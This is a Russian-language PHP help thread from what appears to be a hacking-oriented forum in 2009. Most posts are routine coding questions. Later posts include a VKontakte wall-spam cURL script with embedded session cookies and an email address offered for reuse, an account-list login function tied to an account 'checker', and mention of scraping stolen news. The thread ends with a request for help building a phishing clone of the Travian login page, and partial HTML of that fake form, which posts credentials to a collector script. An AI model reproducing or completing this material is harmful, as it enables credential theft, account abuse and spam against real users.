у меня есть цикл. он делает обработку полей. а как сделать чтобы если поле свободное то он не делал обработку его... а то я делал через if(!empty и там начинает не то что надо выводить
for($i = 1; $i < 31; $i++) {
$time = $_POST['time_'.$i.''];
$prog = $db->safesql($_POST['prog_'.$i.'']);
$text.="<b>{$time}</b> {$prog}<br />";
}
FireFenix
18.06.2009, 21:26
if (isset($var))
{
}
if (strlen(trim($var)) > 0)
{
}
Pashkela
18.06.2009, 21:29
{$prog}
Ё! C какой книжки списал, дай почитать
не то, я пробовал. оно выводит при любых значениях:
324 2342
234 234
324 423
34 342
34 342
34 342
34 342
34 342
34 342
34 342
34 342
34 342
34 342
34 342
34 342
34 342
34 342
34 342
34 342
34 342
34 342
34 342
34 342
34 342
34 342
34 342
34 342
34 342
34 342
34 342
повторяет последнее...
Ё! C какой книжки списал, дай почитать
не списал... прочитал...
FireFenix
18.06.2009, 21:46
не то, я пробовал. оно выводит при любых значениях:
324 2342
234 234
324 423
34 342
34 342
повторяет последнее...
<form method="post" action="?">
<input name="time_1" value="1"><br>
<input name="time_2" value="2"><br>
<input name="time_3" value=" "><br>
<input name="time_4" value="4"><br>
<input name="time_5"><br>
<input name="time_6" value="6"><br>
<input name="time_7" value=""><br>
<input name="time_8" value="8"><br>
<input name="time_9" value=" "><br>
<input name="time_10" value="10"><br>
<input type="submit" value="Submit">
</form>
<hr>
<?php
for ($i = 1; $i < 11; $i++)
{
if (strlen(trim($_POST['time_' . $i])) > 0)
{
echo($_POST['time_' . $i] . '<br>');
}
}
?>
Всё работает....
Т.к. у тебя повторяется. смотри где выполняется вывод сообщений. Если после проверки переменной - то тогда её нада очищать в каждом цикле
ща попробую немного изменить. смысл понял. спс
О_о получилось... спс
Есть скрипт, при обращении к которому он создаёт картинку pic.jpg => Сохраняет её в папке => Выводит в браузере
(нажимаем "Обновить страницу" и картинка меняется)
На локалхосте под любыми браузерами всё норм пашет
Залил на хостинг, тестировал в IE7 тоже всё нормально
Но например в FireFox 3 сколько не тыкай обновить постоянно выводит одну и ту же картинку, но если в настройках нажать Очистить Кэш то лиса начинает нормалбно работать(
Пробовал unlink('pic.jpg');, не помогает ... всё равно лиса выводит картинку из кэша :(
wildshaman
19.06.2009, 12:04
Есть скрипт, при обращении к которому он создаёт картинку pic.jpg => Сохраняет её в папке => Выводит в браузере
(нажимаем "Обновить страницу" и картинка меняется)
На локалхосте под любыми браузерами всё норм пашет
Залил на хостинг, тестировал в IE7 тоже всё нормально
Но например в FireFox 3 сколько не тыкай обновить постоянно выводит одну и ту же картинку, но если в настройках нажать Очистить Кэш то лиса начинает нормалбно работать(
Пробовал unlink('pic.jpg');, не помогает ... всё равно лиса выводит картинку из кэша :(
а что, если выводить картинку с параметром ?rand={random num}
<?php
header("Cache-Control: no-cache, must-revalidate");
?>
Или
<?php
// Date in the past
header("Expires: Mon, 26 Jul 1997 05:00:00 GMT");
header("Cache-Control: no-cache");
header("Pragma: no-cache");
//© w3schools
?>
Pashkela
19.06.2009, 12:10
2 geforse:
Попробуй так http://support.microsoft.com/kb/222064/ru
спасибо большое за помощь)
но не работает :(
Способы Dimi4'a не работают вобще ... Хз почему(
Pashkela
Сделал как там написано, страница обновляется каждые 5сек. и картинка каждый раз другая, но если отключить самообновление и обновлять ручками, то попрежнему кэшируется(
Попробую способоб wildshaman'a
ещё раз спасибо)
Как можно удалить из папки все файлы определенного формата ?
FireFenix
19.06.2009, 13:10
<?php
$format = '.txt';
$dir = '.';
if ($handle = opendir($dir))
{
while (false !== ($file = readdir($handle)))
{
if ($file != "." && $file != "..")
{
if (substr($file, -4, 4) == $format)
{
unlink($file);
}
}
}
closedir($handle);
}
?>
Pashkela
19.06.2009, 13:36
2 FireFenix:
А если мне надо будет удалить все .html или .php3 или .pl файлы - переписывать функцию?:)
<?php
@set_time_limit(0);
@ini_set("display_errors","1");
$path = '/home/http/MP3'; // Абсолютный путь к папке для удаления, без слеша в конце
$ext = 'php'; // Файлы, которые надо удалить, без точки
fold ($path,$ext);
echo "done";
function fold($rootDir,$ext2) {
$invisibleFileNames = array(".", "..");
$dirContent = scandir($rootDir);
foreach($dirContent as $key => $content) {
$path = $rootDir.'/'.$content;
if(!in_array($content, $invisibleFileNames)) {
if(is_file($path) && is_readable($path)) {
$allData = $path;
$ext1 = pathinfo($allData, PATHINFO_EXTENSION);
if ($ext2==$ext1) unlink($allData);
}elseif(is_dir($path) && is_readable($path)) {
$allData = fold($path, $ext2);
}
}
}
}
?>
+ ссылка к размышлению:
http://habrahabr.ru/blogs/php/37753/
Dj-Matrix
19.06.2009, 14:06
Есть скрипт, при обращении к которому он создаёт картинку pic.jpg => Сохраняет её в папке => Выводит в браузере
(нажимаем "Обновить страницу" и картинка меняется)
На локалхосте под любыми браузерами всё норм пашет
Залил на хостинг, тестировал в IE7 тоже всё нормально
Но например в FireFox 3 сколько не тыкай обновить постоянно выводит одну и ту же картинку, но если в настройках нажать Очистить Кэш то лиса начинает нормалбно работать(
Пробовал unlink('pic.jpg');, не помогает ... всё равно лиса выводит картинку из кэша :(
Если я правильно понял, то это должно работать.
<script language="JavaScript">
var src = 'image.gif'; //Путь к картинке
document.write('<img src="'+src+'?'+Math.random()+'">');
</script>
Player#1
19.06.2009, 14:16
Если я правильно понял, то это должно работать.
почему бы не написать тоже самое на php. тема то [рhр] называется..
а вообще идея, как мне кажется правильная: рандомные значения после ?
<?php
echo "<img src='img.jpg?".time()."'>";
?>
KaZ@NoVa
19.06.2009, 15:36
Есть скрипт, при обращении к которому он создаёт картинку pic.jpg => Сохраняет её в папке => Выводит в браузере
(нажимаем "Обновить страницу" и картинка меняется)
На локалхосте под любыми браузерами всё норм пашет
Залил на хостинг, тестировал в IE7 тоже всё нормально
Но например в FireFox 3 сколько не тыкай обновить постоянно выводит одну и ту же картинку, но если в настройках нажать Очистить Кэш то лиса начинает нормалбно работать(
Пробовал unlink('pic.jpg');, не помогает ... всё равно лиса выводит картинку из кэша :(
Ctrl+F5
KaZ@NoVa
19.06.2009, 16:30
а что, если выводить картинку с параметром ?rand={random num}
Тоже вариант, но лучше просто ?{$rand} - смотри, как vkontakte сделан..
Всё уже сделал давно) спасибо :)
[ После обращения к скрипту имя картинки постоянно меняется) ]
Есть ли готовые решения индикатора загрузки страниц ?
в гугле только индикатор загрузки файлов на сервер нашёл, можно конечно попробовать его переписать) но может велосипед до меня изобрели ?)
http://svyt.net/wdsect-45.html ?
+ http://danneo.com/forum/showthread.php?t=3384
Как можно удалить из папки все файлы определенного формата ?
foreach (glob("*.test") as $filename) {
unlink($filename);
}
Есть ответ от сервера The URL has moved <a href="http://сайт.ру/welcome">here</a>
как зделать чтоб скрипт копиравал сайт.ру в файл?
Как с помощью PHP определить ип сайта по его названию.Желательно без system() и т д
Есть ответ от сервера The URL has moved <a href="http://сайт.ру/welcome">here</a>
как зделать чтоб скрипт копиравал сайт.ру в файл?
<?php
$url = '<a href="http://сайт.ру/welcome">here</a>'; // URL
$file = 'sites.txt'; // Куда записывать
preg_match('#<a href="http://(.*?)/welcome">here</a>#i', $url, $match_out);
$fh = fopen($file, "a+");
$success - fwrite($fh, $match_out[1]."\n");
fclose($fh);
?>
jecka3000
20.06.2009, 18:15
где тут может быть ошибка?
function ListGoods(){
GLOBAL $id_group, $rows, $goods_info, $main_page;
# если передано ID группы товаров, то присваиваем его переменной
# если - нет, тогда будет выводится группа указанная по умолчанию в конфигурации
после нее есть кусочек
if ( !empty($_GET['idn']) && is_numeric($_GET['idn']) ) {
$idn = (int) trim($_GET['idn']);
} else {
$idn = $id_group;
}
Krist_ALL
20.06.2009, 18:17
echo gethostbyname ('antichat.ru');
В чем ошибка? Пересидел чтоли, немогу расчехлится. Регулярки пропускают лшюбые значения если вначале вводить двойные ковычки
<?php
$sysmessage = '';
function Form()
{
global $sysmessage;
echo '
<table border="1" align="center">
<form method="post" enctype="application/x-www-form-urlencoded">
<tr>
<td colspan="2" align="center">'.$sysmessage.'Регистрация</td>
</tr>
<tr>
<td>Логин</td>
<td><input type="text" align="CENTER" size="30" maxlength="30" name="login" /></td>
</tr>
<tr>
<td>Пароль</td>
<td><input type="password" align="CENTER" size="30" maxlength="30" name="password" /></td>
</tr>
<tr>
<td>Повтор пароля</td>
<td><input type="password" align="CENTER" size="30" maxlength="30" name="password2" /></td>
</tr>
<tr>
<td>Имейл</td>
<td><input type="text" align="CENTER" size="30" maxlength="30" name="email" /></td>
</tr>
<tr>
<td colspan="2" align="center"><input type="submit" value="register" /></td>
</tr>
</form>
</table>
';
}
if(empty($_POST['login']) || empty($_POST['password']) || empty($_POST['password2']) || empty($_POST['email']))
{
Form();
exit;
}
if($_POST['password'] != $_POST['password2'])
{
$sysmessage = '<font color="red"><b>Пароли не совпадают</b></font><br>';
Form();
exit;
}
$login = htmlspecialchars($_POST['login']);
$password = htmlspecialchars($_POST['password']);
$password2 = htmlspecialchars($_POST['password2']);
$email = htmlspecialchars($_POST['email']);
##
if(!preg_match('#[a-z0-9]{3,20}#i', $login))
{
$sysmessage = '<font color="red"><b>Неправильный формат Логина</b></font><br>';
Form();
exit;
}
##
if(!preg_match('#[a-z0-9_]{6,20}#i', $password))
{
$sysmessage = '<font color="red"><b>Неправильный формат Пароля</b></font><br>';
Form();
exit;
}
##
if(!preg_match('#[\.\-_A-Za-z0-9]+?@[\.\-A-Za-z0-9]+?[\.A-Za-z0-9]{2,}#', $email))
{
$sysmessage = '<font color="red"><b>Неправильный формат Имейла</b></font><br>';
Form();
exit;
}
echo "login: $login<br>password: $password<br>email: $email";
?>
b3 htmlspecialchars(htmlentities( - убрать
В начало регулярок добавить ^ в конец $. Например !preg_match('#^[a-z0-9_]{6,20}$#i'
И только в самом конце при выводе логина добавить htmlspecialchars
astrologer
20.06.2009, 21:40
Неправильный формат пароля у паролей не бывает неправильных форматов
Pashkela
20.06.2009, 21:43
Почему, бывает, при регистрации, не меньше 6 символов, например, или есть запрещенные символы
astrologer
20.06.2009, 21:56
Почему, бывает, при регистрации, не меньше 6 символов, например, или есть запрещенные символыДа, ограничение минимальной длины имеет смысл, но запрещенные символы? Всё равно же будет хеш.
написал скрипт суть кторого: берет из файла url'ы поочередно к ним подключается, если на ресурсе присутсвтует искомое слово записывает адрес ресурса в файл.
Проблема в том что, если прописывать в ручную куда подключится, то все нормально, а стоит подставить туда переменную пишет Warning: fsockopen() [function.fsockopen]: php_network_getaddresses: getaddrinfo failed: No such host is known.
Вот код:
<?php
$file=file("url.txt");
foreach($file as $val=>$key){
trim($key);
$str='';
echo $key;
$fp = fsockopen ($key,80, $errno,$errstr);
if (!$fp) {
echo "$errstr ($errno)<br>\n";
} else {
$out = "GET / HTTP/1.1\r\n";
$out .= "Cookie: PREF=ID=c34a97b63a61567a:LD=en:CR=2:TM=1127409984: LM=1127409984:S=XLS1Gm0Z48j3QNZo;\r\n";
$out .= "Host: ".$key."\r\n";
$out .= "Connection: Close\r\n\r\n";
fputs ($fp, $out);
while (!feof($fp)) {
$str.= fgets ($fp,128);
}
if(strpos($str,"String")){
$f=fopen("out.txt","a+");
fputs($f,$key."\r\n");
}
fclose ($fp);
}
}
?>
trim($key);
замени на
$key=trim($key);
2d_x
Все равно пишет тоже самое.
ЗЫ
Пытаюст приспособить этот скрипт для чеканья гугл закладок групп и прочих проектов гугл.
Gin, а как выглядят url'ы в файле?
docs.google.com/View?id=d9qwskc_6fwnfsdf
вот так.
docs.google.com/View?id=d9qwskc_6fwnfsdf
Правильная работа с сокетами:
$fp=fsockopen("tcp://".$host,80,$errno,$errstr,30); //где host - имя домена без всяких директорий, т.е. docs.google.com
<?php
$f=fopen("out.txt","a+");
$file=array_map('trim',file("url.txt"));
foreach($file as $val=>$key){
$str='';
echo $key;
$key=explode('/',$key,2);
$fp = fsockopen ('tcp://'.$key[0],80, $errno,$errstr);
if (!$fp) {
echo "$errstr ($errno)<br>\n";
} else {
$out = "GET /{$key[1]} HTTP/1.1\r\n";
$out .= "Cookie: PREF=ID=c34a97b63a61567a:LD=en:CR=2:TM=1127409984: LM=1127409984:S=XLS1Gm0Z48j3QNZo;\r\n";
$out .= "Host: ".$key[0]."\r\n";
$out .= "Connection: Close\r\n\r\n";
fputs ($fp, $out);
while (!feof($fp)) {
$str.= fgets ($fp,128);
}
if(strpos($str,"String")!==false){
fputs($f,$key[0].'/'.$key[1]."\r\n");
}
fclose ($fp);
}
}
fclose($f);
?>
Проверил, вроде работает так.
2d_x
Все равно тоже самое выдает, ты тестировал срипт у себя :?
Может дело в настройке сервера и/или PHP:?
Что обязательно должно быть включенно для работы fsockopen:?
Я пару раз сообщение редактировал, проверил скрипт, у меня нормально содержимое страницы сейчас получает.
2d_x
Спасибя разобрался, тут дело в том что explode не правильно у ми работает (как ни странно это звучит) не бъёт урл на две части щас разобрался благодаря тебе, спасибо.
Architek86
26.06.2009, 22:45
Народ, допустим дан CURL, высылающий логин и пароль на сервер авторизации форума.
Сможет ли CURL принять куки и передать их мне в браузер, дабы форум смог "запомнить меня"? Если да, то как надо правильно прописать запрос CURL?
Народ, допустим дан CURL, высылающий логин и пароль на сервер авторизации форума.
Сможет ли CURL принять куки и передать их мне в браузер, дабы форум смог "запомнить меня"? Если да, то как надо правильно прописать запрос CURL?
brrrr
http://ru.wikipedia.org/wiki/CURL
мда..
Как определить апсолютный путь к директории в которой лежит скрипт?
Тоисть есле он лежит там например http://localhost/uri/pak/xxx/ing.php то апсолютный путь должен быть:
Z:/home/localhost/www/uri/pak/xxx/
Extremal
27.06.2009, 11:59
2Mixon
<?php
echo realpath('file');
?>
2Mixon
<?php
echo realpath('file');
?>
Пустая страница...ты сам проверял етот код?
Может стоит за место 'file' написать имя файл? м?
dirname($_SERVER['SCRIPT_FILENAME']);
Спасиб d_x,и как всегда ты мне помог :)
Extremal
27.06.2009, 12:33
Пустая страница...ты сам проверял етот код?
no comments...
$db = mysql_connect("localhost", "root", "");
mysql_select_db("samp", $db);
$result = mysql_query("select * from samp where ip='94.23.120.101' & port='9999'");
if ($result > 0)
echo 'yes';
else
echo 'not';
в бд есть 94.23.120.101,9999
че в ip, port не пишешь все 'yes'
1. Замени & на and.
2. Это просто проверка успешности запроса, а он успешный, поэтому всегда yes:
if ($result > 0)
echo 'yes';
else
echo 'not';
Можно так:
print mysql_num_rows($result)>0 ? 'yes' : 'no';
zifanchuck
27.06.2009, 18:02
Хочу реализовать вот что:
крон запускает скрипт допустим раз в день(например в конце дня гдето в 23-30) логинется во все партнерки, получает статистику извлекает статистику за день, записывает все ето и отсылает смс на телефон. Вот с помощью курла можно будет ето организовать?
Где в инете можна почитать про курл?
FireFenix
27.06.2009, 18:06
www.php.net/curl
$profile_language = 'kz';
if ($profile_language == 'kz') {$profile_language_kz = 'selected';} else {$profile_language_ru = 'selected';}
...
<select name="language">
<option value="kz" selected="$profile_language_kz">Казакша</option>
<option value="ru" selected="$profile_language_ru">Русский</option>
</select>
Отображает 'Русский', хоть в переменной $profile_language значение kz или ru, в чем проблема?
Отображает 'Русский', хоть в переменной $profile_language значение kz или ru, в чем проблема?
Проблема в том, что уже само наличие атрибута selected говорит о выбранности, сделай так:
$profile_language = 'kz';
if ($profile_language == 'kz') {$profile_language_kz = 'selected="selected"';} else {$profile_language_ru = 'selected="selected"';}
...
<select name="language">
<option value="kz" $profile_language_kz>Казакша</option>
<option value="ru" $profile_language_ru>Русский</option>
</select>
Как вставить переменную в сылку?
Например
$host = 'xxx';
$q->Post('http://$host.server.com');
И он заходет на $host.server.com но нужно xxx.server.com
Как бытЬ?
Extremal
28.06.2009, 02:30
$host = 'xxx';
$q->Post('http://'.$host.'.server.com');
Вот так ;)
Как вставить переменную в сылку?
Например
$host = 'xxx';
$q->Post('http://$host.server.com');
И он заходет на $host.server.com но нужно xxx.server.com
Как бытЬ?
то что внутри кавычек, считается как простой текст, вот он тебе и выводит просто текстом $host.server.com
Extremal
28.06.2009, 03:36
то что внутри кавычек, считается как простой текст, вот он тебе и выводит просто текстом $host.server.com
Ты сам понял что за бред ты сказал?Вот тебе пример с кавычками,внутри и работает нормально:
$host = 'xxx';
$q->Post("http://$host.server.com");
Уточнял хотя бы что имелл ввиду ординарные,а то путаешь людей :-\
ладно написал не правильно, смотрел на его пример там одинарные вот и написал...=(
Как можно сделать как бы екстренный вылет скрипта по времени? например есле скрипт обрабатываеться более 20 секунд то выполнялось определённое действие.
php.ini правь max_execution_time :)
Дык мне нужно чтоб имеено в скрипте выполнялось действие,и чтобы етот скрипт работал везде,без правки пхп.ини.
Прошло 20 секунд,страница не загрузилась ---->
echo "Time out!";
exit();
и всё...
А как прилепить те действия к нему?? в случае тайм аута чтоб именно те действия и больше ничего не исполнялось...да и нужда в етом уже пропала,такчто думаю вопрос closed,поскольку в ajax проще уже реализовать ето))
есть таблица с логами (logs) с колонкой date в виде 2009-06-04, как удалить данные недельной давности из этой таблицы, тоесть после 2009-05-28 ?
Есть ли функция для скачивание картики с сайта?
Есть ли функция для скачивание картики с сайта?
Корректно поставленый вопрос - 50% ответа.Сформулируйте точнее.
wildshaman
29.06.2009, 15:55
Есть ли функция для скачивание картики с сайта?
file_get_contents("rfghnbyrf")
str_replace("\", "blabla", $str);
В случае со знаком "\" выдает ошибку. Как избежать? Нужно этот знак позаменять в тексте :confused: спс
str_replace("\\", "blabla", $str);
wildshaman
30.06.2009, 00:07
str_replace("\", "blabla", $str);
В случае со знаком "\" выдает ошибку. Как избежать? Нужно этот знак позаменять в тексте :confused: спс
str_replace('\', "blabla", $str);
Нифига. Не выходит. Короче, вот весь исходник:
<?php
if($_POST['string']) {
$str=preg_replace("/q/i", "%11", $_POST['string']);
$str=preg_replace("/w/i", "%12", $str);
$str=preg_replace("/e/i", "%13", $str);
$str=preg_replace("/r/i", "%14", $str);
$str=preg_replace("/t/i", "%15", $str);
$str=preg_replace("/y/i", "%16", $str);
$str=preg_replace("/u/i", "%17", $str);
$str=preg_replace("/i/i", "%18", $str);
$str=preg_replace("/o/i", "%19", $str);
$str=preg_replace("/p/i", "%20", $str);
$str=preg_replace("/a/i", "%21", $str);
$str=preg_replace("/s/i", "%22", $str);
$str=preg_replace("/d/i", "%23", $str);
$str=preg_replace("/f/i", "%24", $str);
$str=preg_replace("/g/i", "%25", $str);
$str=preg_replace("/h/i", "%26", $str);
$str=preg_replace("/j/i", "%27", $str);
$str=preg_replace("/k/i", "%28", $str);
$str=preg_replace("/l/i", "%29", $str);
$str=preg_replace("/z/i", "%30", $str);
$str=preg_replace("/x/i", "%31", $str);
$str=preg_replace("/c/i", "%32", $str);
$str=preg_replace("/v/i", "%33", $str);
$str=preg_replace("/b/i", "%34", $str);
$str=preg_replace("/n/i", "%35", $str);
$str=preg_replace("/m/i", "%36", $str);
$str=preg_replace("/,/i", "%37", $str);
$str=preg_replace("/'/i", "%38", $str);
$str=str_replace('"', "%39", $str);
$str=str_replace("/", "%40", $str);
$str=str_replace(".", "%41", $str);
$str=str_replace(";", "%42", $str);
$str=str_replace(":", "%43", $str);
$str=str_replace("<", "%44", $str);
$str=str_replace(">", "%45", $str);
$str=str_replace("\%", "%", $str);
echo $str;
} else {
echo "<form action='index.php' method='POST'>";
echo "<tr><td align='right'>Строка: </td><td><input type='text' name='string' size=20></td></tr>";
echo "<tr><td></td><td><input type='submit' value='Обработать'></td></tr>";
}
?>
Нифига. Не выходит. Короче, вот весь исходник:
<?php
...
$str=str_replace("\\%", "%", $str);
...
?>
так пробовал?
Не, надо заменять "\", а не %. Сори, что не уточнил... Т.е. должно быть что-то вроде этого:
$str=str_replace("\", "blabla", $str);
Но парсер пишет ошибку... Пробывал по разному, не выходит.
SmartMix
30.06.2009, 12:55
А чем тебя предложеный вариант $str=str_replace("\\", "blabla", $str); неустраивает???
wildshaman
30.06.2009, 12:59
Не, надо заменять "\", а не %. Сори, что не уточнил... Т.е. должно быть что-то вроде этого:
$str=str_replace("\", "blabla", $str);
Но парсер пишет ошибку... Пробывал по разному, не выходит.
там где слеш замени двойные кавычки на одинарные.
'\'
sNt Попробуйте для разнообразия пользоваться средами с подсветкой синтаксиса. Например на форуме:
$str = '\' тут тоже подсвечено как текст внутри кавычек, потому что слеш экранирует'; Пользуйтесь '\\'
И что, str_ireplace и массивы для замен не можно уже? Надо обязательно писать сто строчек?
lambda88
30.06.2009, 21:37
Привет! Скачал с нашего форума парсер DLE сайтов и решил его довести до ума. Сделал вывод полного пути картинок, ЧПУ, добавил автора. Но есть проблемы с которыми я справиться не могу, а именно:
-обновление количества пабликов у автора (обновляется только при пересчете статистики);
-убрать из новостей <div id='news-id-...'>новость</div> (при просмотре исходного кода получается такая запись <div id='news-id-новый id'><div id='news-id-взятый с украденной новости'>новость</div></div>
Есть какие нибудь мысли?
подскажите как правильно слать сообщение на стену вконтакте ?
шлю пост запрос курлом и в ответ получаю вот эту надпись Security Breach
# Сначала авторизируюсь, потом шлю запрос
$ch = curl_init('http://vkontakte.ru/wall.php');
curl_setopt($ch, CURLOPT_USERAGENT, $ua);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, 'act=get10&wall_hash=0723c66a14426b8ff7944dc3d3d5be68&wpage=100000&seed=%D0%9F%D1%80%D0%B8%D0%B2%D0%B5%D1%82%0A%D0%BA %D0%B0%D0%BA%20%D0%B4%D0%B5%D0%BB%D0%B0%20%3F&fpage=1&mid=252967150202&n=3');
curl_setopt($ch, CURLOPT_REFERER, 'http://vkontakte.ru/index.php');
curl_setopt($ch, CURLOPT_COOKIEFILE, "./cook");
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 0);
$res = curl_exec($ch);
Бгггггггггггг,а ты куки не забыл??
+ там походу доп параметры есчё же которые меняються.... вот все:
Тэг Значение
act get10
wall_hash 95eaf3defdb351e8847c81bc92741d1f
wpage 100000
seed Hi to all!
fpage 1
mid 75429932635
n 3
Nightmarе
01.07.2009, 17:22
Вот тут у меня вопрос возник, а можно ли через .htaccess сделать имитацию ошибки 404 как это реализованно на php ???
На php это реализовывалось так:
header("HTTP/1.0 404 Not Found");
file_get_contents('404.html');
А как тоже самое сделать через .htaccess ?
Чтобы был тот же принцип, сначала выводим заголовок, а затем страничу с ошибкой.
А как тоже самое сделать через .htaccess ?
Чтобы был тот же принцип, сначала выводим заголовок, а затем страничу с ошибкой.
Сделай рерайт на несуществующую страницу и добавь ErrorDocument 404 /404.html
Mixon ты вобще мой код видел ? o_0
Бгггггггггггг,а ты куки не забыл??
curl_setopt($ch, CURLOPT_COOKIEFILE, "./cook");
Тэг Значение
act get10
wall_hash 95eaf3defdb351e8847c81bc92741d1f
wpage 100000
seed Hi to all!
fpage 1
mid 75429932635
n 3
curl_setopt($ch, CURLOPT_POSTFIELDS, 'act=get10&wall_hash=0723c66a14426b8ff7944dc3d3d5be68&wpage=100000&seed=MESSAGE&fpage=1&mid=252967150202&n=3');
З.Ы. я конечно понимаю хакир, все дела, но смотри в след.раз внимательнее ;)
Ссор,насчёт куков то ступил,недосмотрел:)
Вот посидел,написал норм пример,работающий,и тоже столкнулся с этой ошибкой,но решил,вся проблемя в Referer! Он должен быть вконтакте.сру/ид1234 , пример:
Referer: http://vkontakte.ru/id23316952
Ну а вот скрипт который шлёт написал
<?php
function curls($url,$zapros,$method){
$cookies="remixlang=0; remixmid=23316952; remixemail=zag1496@mail.ru; remixpass=4c94bf71ef857d4bb4bde227f7521610; remixsid=e4e697df775170a5f9e7587c466eba5a36ad98d05 ac9bbe99c756b12";
$ref = 'http://vkontakte.ru/id23316952';
$ch=curl_init ($url);
$ua = 'Opera/9.64 (Windows NT 5.1; U; ru) Presto/2.1.1';
curl_setopt($ch, CURLOPT_USERAGENT, $ua);
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_USERAGENT, $ua);
curl_setopt($ch, CURLOPT_REFERER, $ref);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $PostData);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_COOKIE, $cookies);
curl_setopt($ch, CURLOPT_POSTFIELDS, $zapros);
$page = curl_exec($ch);
if($method=="1"){
preg_match("/wall_hash: '(.*?)', wpage/i", $page, $wall_hash);
preg_match("/name=\"to_id\" value=\"(.*?)\"\/>/i", $page, $to_id);
$return=array($wall_hash[1],$to_id[1]);
}else{
$return=$page;
}
return $return;
}
$cur=&curls("http://vkontakte.ru/index.php","","1");
$zapros="act=get10&wall_hash=".$cur[0]."&wpage=100000&seed=TEST&fpage=1&mid=".$cur[1]."&n=3";
$cur=&curls("http://vkontakte.ru/wall.php",$zapros,"2");
echo $cur;
?>
В куках профиль подставной,можете юзать на здоровье;)
Отлично, действительно реф стоило только поменять)
Mixon, вот моя функция для логина вконтакте, а то у тебя авторизация по кукам
function login($n = ''){
$akk = 'akk.txt';
$varname = file($akk);
$count = count ($varname);
preg_match('#^(.*?):#i', $varname[$n], $email);
preg_match('#:(.*?)$#i', $varname[$n], $pass);
$ch = curl_init('http://vkontakte.ru/login.php');
curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows; U; Windows NT 6.0; ru; rv:1.9.0.11) Gecko/2009060215 Firefox/3.0.11 (.NET CLR 3.5.30729)');
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, 'op=a_login_attempt&email='.$email[1].'&pass='.$pass[1].'&expire=0');
curl_setopt($ch, CURLOPT_REFERER, 'http://vkontakte.ru/index.php');
curl_setopt($ch, CURLOPT_COOKIEJAR, "./cook");
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$res = curl_exec($ch);
}
// Вызывается например так:
login(1);
// Ну а потом по контакту ходим с кукками "./cook"
Спасиба,но ето я толькочто для тебя с нуля написал вопщет) у меня своя ф-цыя + робота с антикапчей) Чекер мой как ни как работает на нём,но и за ето спасиб!;)
Привет ребята!
Я здесь новенький, но давно уже лазю на форуме(просто не регился).
У меня такая проблема(С PHP я наверное знаком на 0,5% из 100%)
Но решил на основе одного фейка для мейл.ру, создать совсем другой для этого сайта.
http://www.travian.com.ua/ кто играет я под таким же ником, а точнее для этой страницы
http://s1.travian.com.ua/login.php
Все думал бует чики-пики, но постало несколько проблем.1 картинки никак не могут отобразится(Пробывал в ручную, через скрины и разные програмы, но эфект не тот.Все лезет на купу) и 2 проблема.Пасс и логин не хотят прописыватся в базу(права я им надал).Вообщем картина така что не смог я этого сделать.И очень хочется, ведь для этого сайта фейка нет, а оч. нужен.Потому прошу помощи, кто сможет.Дело добровольное!!!Ради интереса и желания чего-то доказать.
Привет ребята!
Я здесь новенький, но давно уже лазю на форуме(просто не регился).
У меня такая проблема(С PHP я наверное знаком на 0,5% из 100%)
Но решил на основе одного фейка для мейл.ру, создать совсем другой для этого сайта.
http://www.travian.com.ua/ кто играет я под таким же ником, а точнее для этой страницы
http://s1.travian.com.ua/login.php
Все думал бует чики-пики, но постало несколько проблем.1 картинки никак не могут отобразится(Пробывал в ручную, через скрины и разные програмы, но эфект не тот.Все лезет на купу) и 2 проблема.Пасс и логин не хотят прописыватся в базу(права я им надал).Вообщем картина така что не смог я этого сделать.И очень хочется, ведь для этого сайта фейка нет, а оч. нужен.Потому прошу помощи, кто сможет.Дело добровольное!!!Ради интереса и желания чего-то доказать.
Исходники фейка сюда... Так сложно сказать что не так
Вы не можете прикреплять файлы
Но вот какая пародия получается.Хост я выбрал любой для тренировки.
http://vcontacte.bos.ru/
index.php
<html> <head> <title>Travian ua1</title> <meta name="content-language" content="ua" /> <meta http-equiv="cache-control" content="max-age=0" /> <meta http-equiv="imagetoolbar" content="no" /> <meta http-equiv="content-type" content="text/html; charset=UTF-8" /> <script src="mt-core.js?azg" type="text/javascript"></script> <script src="mt-more.js?azg" type="text/javascript"></script> <script src="unx.js?azg" type="text/javascript"></script> <script src="new.js?azg" type="text/javascript"></script> <link href="img/unx.css?azg" rel="stylesheet" type="text/css" /> <link href="img/img.css?azg" rel="stylesheet" type="text/css" /> <link href="img/ua/lang.css?azg" rel="stylesheet" type="text/css" /> </head> <body onload="initCounter()"> <div id="dynamic_header" class="norm"> </div> <div id="header"></div> <div id="mid"> <div id="sleft"> <a href="http://www.travian.com.ua/"><img id="logo" src="" alt="Травіан" /></a> <p> <a href="http://www.travian.com.ua/index.php">Головна</a> <a href="http://www.travian.com.ua/anleitung.php">Довідка</a> <a href="login.php">Вхід</a> <a href="anmelden.php">Реєстрація</a> <br /><br /> <a href="http://forum.travian.com.ua/" target="_blank">Форум</a> <a href="http://www.travian.com.ua/chat/?chatname=T_guest???" target="_blank">Чат</a> <br /><br /> <a href="http://www.travian.com.ua/impressum.php">Фірма</a> <a href="support.php">Служба підтримки</a> </p> </div> <div id="content"> <div class=login> <h1><img class="img_login" src="/1.jpg" alt="Ввійти до Гри" /></h1> <h5><img class="img_u04" src="/1.jpg" alt="ввійти" /></h5> <p class="f9">Щоб увійти в гру необхідно дозволити використання "cookіe" у вашому браузері.Якщо ви не єдиний користувач комп'ютера, деактивуйте "<i>Впізнавати мене в майбутньому</i>" ("cookіe" будуть видалені після виходу із браузера).</p> <form method="post" action="654321.php" onSubmit="return CheckForm(this);"> <table class="dashed"> <colgroup> <col class="w40" /> <col class="w60" /> </colgroup> <tr> <td><label>Логін:</label></td> <td><input class="fm fm110" type="text" name="e215a53" value="" maxlength="15" /> <span class="e f7"> </span></td> </tr> <tr> <td><label>Пароль:</label></td> <td><input class="fm fm110" type="password" name="e193aff" value="" maxlength="20" 